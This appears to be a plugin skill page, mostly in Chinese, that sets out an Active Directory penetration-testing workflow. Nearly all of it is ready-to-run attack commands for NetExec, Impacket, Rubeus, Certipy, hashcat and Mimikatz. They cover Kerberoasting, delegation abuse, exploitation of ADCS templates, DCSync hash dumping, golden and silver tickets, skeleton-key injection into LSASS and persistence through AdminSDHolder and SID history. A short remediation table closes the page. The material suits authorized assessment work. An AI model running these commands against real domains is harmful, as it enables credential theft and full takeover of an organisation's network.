Performs Active Directory penetration testing: enumerates domain objects, analyzes attack paths with BloodHound, exploits Kerberos weaknesses, escalates privileges via ADCS/DCSync, and demonstrates domain compromise.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
Active Directory(AD)渗透测试针对超过 95% 的财富 500 强企业使用的核心身份与访问管理系统。测试识别错误配置、弱凭据、危险的委派设置、存在漏洞的证书模板,以及能让攻击者从普通域用户提升至域管理员(Domain Admin)或企业管理员(Enterprise Admin)的攻击路径。
Conducts Active Directory penetration tests: enumerates domain objects, maps attack paths with BloodHound, exploits Kerberos weaknesses, escalates via ADCS/DCSync, demonstrates compromise. For security assessments and audits.
Guides Active Directory penetration tests: enumerates domain objects via NetExec/LDAP, maps attack paths with BloodHound, exploits Kerberos weaknesses, escalates via ADCS/DCSync to domain compromise.
Executes authorized Active Directory attack simulations using BloodHound for path analysis, Mimikatz for credential extraction, Impacket for Kerberos attacks like roasting and delegation abuse. For AD pentesting and domain compromise assessment.
Share bugs, ideas, or general feedback.
Active Directory(AD)渗透测试针对超过 95% 的财富 500 强企业使用的核心身份与访问管理系统。测试识别错误配置、弱凭据、危险的委派设置、存在漏洞的证书模板,以及能让攻击者从普通域用户提升至域管理员(Domain Admin)或企业管理员(Enterprise Admin)的攻击路径。
# 基本域枚举
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --groups
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --users
# LDAP 枚举 — 域控制器
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
-b "OU=Domain Controllers,DC=corp,DC=local" "(objectClass=computer)" dNSHostName
# 枚举信任关系
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --trusts
# 枚举域密码策略
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --pass-pol
# 枚举组策略对象(GPO)
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords
# 查找启用非约束委派的计算机
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
-b "DC=corp,DC=local" "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" \
dNSHostName
# 查找配置约束委派的用户
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
-b "DC=corp,DC=local" "(&(objectCategory=user)(msds-allowedtodelegateto=*))" \
sAMAccountName msds-allowedtodelegateto
# 枚举 LAPS(本地管理员密码解决方案)
netexec ldap 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local -M laps
# 收集所有 BloodHound 数据
bloodhound-python -u 'testuser' -p 'Password123' -d corp.local \
-ns 10.0.0.5 -c all --zip
# 备用方案:在 Windows 上使用 SharpHound
.\SharpHound.exe -c All --zipfilename bloodhound_data.zip
# 启动 BloodHound
sudo neo4j start
bloodhound --no-sandbox
# BloodHound 中常用的 Cypher 查询:
# - 到域管理员的最短路径
# - 查找可 Kerberoast 的用户
# - 查找可 AS-REP Roast 的用户
# - 查找拥有 DCSync 权限的用户
# - 从已控制主体查找最短路径
# - 查找域用户是本地管理员的计算机
# 查找拥有 SPN 的服务账户(可 Kerberoast)
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5
# 查找未启用 Kerberos 预认证的账户
impacket-GetNPUsers 'corp.local/' -usersfile domain_users.txt \
-dc-ip 10.0.0.5 -format hashcat
# 查找托管服务账户(gMSA)
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
-b "DC=corp,DC=local" "(objectClass=msDS-GroupManagedServiceAccount)" \
sAMAccountName msDS-GroupMSAMembership
# 提取服务账户的 TGS 票据
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 \
-outputfile kerberoast.txt -request
# 使用 Hashcat 破解(模式 13100 对应 Kerberos 5 TGS-REP etype 23)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule --force
# 使用 Rubeus 进行定向 Kerberoasting(Windows)
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_tgs.txt
# 针对未启用预认证的账户
impacket-GetNPUsers 'corp.local/' -usersfile users.txt -dc-ip 10.0.0.5 \
-outputfile asrep.txt -format hashcat
# 破解 AS-REP 哈希(模式 18200)
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
# 非约束委派 — 从内存提取 TGT
# 若已控制配置非约束委派的主机:
.\Rubeus.exe monitor /interval:5 /nowrap
# 使用 PrinterBug/SpoolSample 强制 DC 进行认证
.\SpoolSample.exe DC01.corp.local YOURHOST.corp.local
.\Rubeus.exe ptt /ticket:<base64_ticket>
# 约束委派 — S4U 滥用
impacket-getST 'corp.local/svc_web:WebPass123' -spn 'CIFS/fileserver.corp.local' \
-dc-ip 10.0.0.5 -impersonate administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec 'corp.local/administrator@fileserver.corp.local' -k -no-pass
# 基于资源的约束委派(RBCD)
impacket-addcomputer 'corp.local/testuser:Password123' -computer-name 'EVIL$' \
-computer-pass 'EvilPass123' -dc-ip 10.0.0.5
python3 rbcd.py -delegate-to 'TARGET$' -delegate-from 'EVIL$' \
-dc-ip 10.0.0.5 'corp.local/testuser:Password123'
impacket-getST 'corp.local/EVIL$:EvilPass123' -spn 'CIFS/target.corp.local' \
-impersonate administrator -dc-ip 10.0.0.5
# 使用 Certipy 枚举 ADCS
certipy find -u 'testuser@corp.local' -p 'Password123' -dc-ip 10.0.0.5 \
-vulnerable -stdout
# ESC1 — 存在漏洞的证书模板(注册者可指定 SAN)
certipy req -u 'testuser@corp.local' -p 'Password123' \
-target ca.corp.local -ca CORP-CA \
-template VulnerableWebServer -upn administrator@corp.local
# 使用证书进行认证
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.5
# ESC4 — 模板 ACL 错误配置
# 修改模板以启用 ESC1 条件,然后按上述方式利用
# ESC6 — CA 上的 EDITF_ATTRIBUTESUBJECTALTNAME2 标志
certipy req -u 'testuser@corp.local' -p 'Password123' \
-target ca.corp.local -ca CORP-CA \
-template User -upn administrator@corp.local
# ESC8 — NTLM 中继至 HTTP 注册端点
certipy relay -target 'http://ca.corp.local/certsrv/certfnsh.asp' \
-template DomainController
# DCSync — 提取所有域哈希(需要复制权限)
impacket-secretsdump 'corp.local/domainadmin:DAPass@10.0.0.5' -just-dc
# DCSync 特定用户
impacket-secretsdump 'corp.local/domainadmin:DAPass@10.0.0.5' \
-just-dc-user krbtgt
# 使用 Mimikatz(Windows)
mimikatz# lsadump::dcsync /domain:corp.local /user:krbtgt
# 创建黄金票据(需要 krbtgt 哈希和域 SID)
impacket-ticketer -nthash <krbtgt_nthash> -domain-sid S-1-5-21-... \
-domain corp.local administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec 'corp.local/administrator@dc01.corp.local' -k -no-pass
# 使用 Mimikatz
mimikatz# kerberos::golden /user:administrator /domain:corp.local \
/sid:S-1-5-21-... /krbtgt:<hash> /ptt
# 为特定服务创建白银票据
impacket-ticketer -nthash <service_nthash> -domain-sid S-1-5-21-... \
-domain corp.local -spn MSSQL/sqlserver.corp.local administrator
export KRB5CCNAME=administrator.ccache
impacket-mssqlclient 'corp.local/administrator@sqlserver.corp.local' -k -no-pass
# 骨架密钥(Skeleton Key)(注入 LSASS — 仅限授权测试)
mimikatz# privilege::debug
mimikatz# misc::skeleton
# 此后任何用户均可使用 "mimikatz" 作为密码进行认证
# AdminSDHolder 持久化
# 将受控用户添加到 AdminSDHolder ACL
# SDProp 进程每 60 分钟将 ACL 传播到所有受保护组
# SID 历史注入
# 将域管理员 SID 注入低权限用户的 SID 历史记录
# 记录所有持久化机制并在测试后清理
| 发现项 | CVSS | 修复建议 |
|---|---|---|
| 密码较弱的可 Kerberoast 账户 | 7.5 | 使用 gMSA,对服务账户强制使用 25 位以上字符密码 |
| 服务器上的非约束委派 | 8.1 | 移除非约束委派,改用约束委派或 RBCD |
| 存在漏洞的 ADCS 模板(ESC1-ESC8) | 9.8 | 审计模板、移除危险权限、要求审批流程 |
| 非 DA 账户的 DCSync 权限 | 9.8 | 审计复制权限,实施分层管理员模型 |
| 已启用 LLMNR/NBT-NS | 8.1 | 通过 GPO 禁用 |
| 未部署 LAPS | 7.2 | 部署 Windows LAPS 管理本地管理员密码 |
| 域密码策略较弱 | 6.5 | 强制使用 14 位以上字符,实施细粒度密码策略 |